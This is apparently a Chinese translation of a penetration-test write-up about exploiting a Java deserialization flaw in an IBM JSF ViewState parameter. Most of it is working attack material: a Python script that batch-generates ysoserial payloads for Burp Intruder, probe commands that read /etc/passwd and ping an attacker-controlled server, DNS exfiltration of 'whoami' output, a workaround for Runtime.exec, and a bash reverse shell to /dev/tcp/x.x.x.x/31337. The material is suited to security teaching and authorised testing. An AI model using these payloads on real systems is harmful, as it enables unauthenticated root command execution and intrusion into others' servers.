在黑盒渗透测试中,我们遇到了一个Java Web应用程序,它向我们提供了一个登录页面。尽管我们设法绕过了认证机制,但是我们却做不了什么事情。攻击面还是很小,只能篡改一些东西。
在登录页面中,我注意到每个登录请求都发送了一个隐藏的POST参数:
<input type="hidden" name="com.ibm.faces.PARAM" value="rO0..." />
这是个Base64 RO0 (AC ED的HEX编码)编码的字符串,证实了我们处理的是Base64编码过的Java序列化对象。Java对象实际上是一个未加密的 JSF ViewState。由于反序列化的漏洞以其恶作剧而臭名昭著,所以我开始搞砸了。
此时,我不太确定底层的操作系统。通过ysoserial,我生成了一些有效载荷,将用于ping ip,读取文件或造成响应延迟。这包括:
Linux有效载荷:
ping -c 1 server.local
cat /etc/passwd
sleep 5
Windows有效载荷:
ping -n 1 server.local
type C:\Windows\win.ini
timeout 5
然而没有成功。没有ping或DNS请求到我们的服务器。应用程序始终以HTTP 500内部服务器错误进行响应,并引发了ServletException,但 不提供其他输出信息。服务器马上就响应了,也没有延时。
由于无法确定哪个有效载荷能够工作,我必须自动化这个过程。我写了一个快速和肮脏的Python脚本,将生成一个包含所有有效载荷的攻击文件。我做了如下一些事情:
· 只选择接受完整操作系统命令的有效负载作为参数。没有必要(目前)支持 所有 这些payload。所以我删除了几个ysoserial有效载荷。
· 一旦有效载荷被触发,我想知道是哪一个payload以及服务器运行的操作系统版本。
· 由于我不想混淆请求(添加对GET,POST,cookies,HTTP auth等的支持),所以我想用一个换行符分隔的文本文件生成有效载荷,这个文本文件可以作为Burp爆破器的有效载荷的输入文件。
代码如下:
import os
import base64
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + 'n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
generate函数有两个参数:第一个是文件名(例如windows_intruder.txt),第二个是将要执行的命令。我选择了ping我们的服务器IP的命令。应用程序应该ping下面的子域:
{{OS}}.{{PAYLOAD}}.server.local
从而确认操作系统和成功的有效载荷。
我开始生成有效载荷:
用Burp的爆破器发送所有的有效载荷:
并检查我们的服务器上的DNS的查询日志:
[email protected]:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61663 (nix.CommonsCollections1.server.local) : query: nix.CommonsCollections1.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:01.000 queries: info: client y.y.y.y#53844 (nix.CommonsCollections6.server.local) : query: nix.CommonsCollections6.server.local IN A -ED (x.x.x.x)
经过一番爆破,我们取得了一石二鸟的战果:现在我们知道系统是基于Linux的,下面的有效载荷允许我们执行任意代码:CommonsCollections1和CommonsCollections6。
在尝试创建一个有风险的后端连接(HTTP,TCP等)之前,我决定尝试提取一些数据,从而确认这是一个真正的远程命令执行(IDS解码了base64编码过的值和解析里面的URL也可以发出一个DNS请求。因为它应该触发所有的有效载荷,但是你并没有天天看到有RCE发生 )。使用 CommonsCollections1 小工具,我生成了两个使用以下命令的有效载荷:
`whoami`.exp.server.local
$(whoami).exp.server.local
不幸的是,日志中填充了如下信息:
[email protected]:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#56055 (`whoami`.exp.server.local) : query: `whoami`.exp.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61636 ($(whoami).exp.server.local) : query: $(whoami).exp.server.local IN A -ED (x.x.x.x)
由于某种原因,命令替换似乎不起作用。经过几次失败的尝试后,我决定去看看CommonsCollections1和CommonsCollections6可用的小工具点击这里查看。
感谢作者,完整的小工具链作为注释写在了代码中。我们可以很快注意到以下几点:
CommonsCollections1
... SNIP ...
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CommonsCollections6
... SNIP ...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
两个有效载荷的shell命令最终由Java的Runtime.exec()执行。我们知道Runtime.exec() 的行为不像一个普通的shell, 所以我们不得不修改有效载荷。幸运的是,前面提到的文章为我们提供了一个完整的实例。最后的命令应该是这样的:
sh -c $@|sh . echo ping $(whoami).exp.server.local
我们使用ysoserial手动生成负有效载荷 :
java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).exp.server.local' | base64 | tr -d "n"
对有效负载进行URL编码并发送出去。让我们再次检查我们的服务器的DNS日志:
[email protected]:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#40350 (root.exp.server.local) : query: root.exp.server.local IN A -ED (x.x.x.x)
看起来今天是我们的幸运日啊。我们得到了一个远程的未经验证的root命令执行。并不是说我们没有见过这个。
当然,我们抓住了这次机会,然后试图获得一个反向的shell:
java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo bash -i >& /dev/tcp/x.x.x.x/31337 0>&1' | base64 | tr -d "n"
我会让你猜一猜看,上面的命令是否执行成功了;)。
在利用Java反序列化漏洞时,我会列举一些需要注意的事项:
· 经过几次失败之后,不要放弃。Java反序列化的利用是相当棘手的,确保在继续之前用尽所有的可能性(有效载荷,命令)。
· 向外部通信一般都是不行的。有时你必须要有创意。
· 请确保你没有忘记对由ysoserial生成的有效负载进行URL编码。Burp的爆破器需要URL编码,Burp的重放工具不需要编码所有必要的字符(即使你把它粘贴在“参数”选项卡中)。
· 请查看Burp Suite的Java反序列化插件。有些将会被动地识别序列化的Java对象,有些将帮助你进行漏洞利用。
本文翻译自:https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/,如果转载,请注明来源于嘶吼: http://www.4hou.com/vulnerable/8486.html "http://www.4hou.com/vulnerable/8486.html")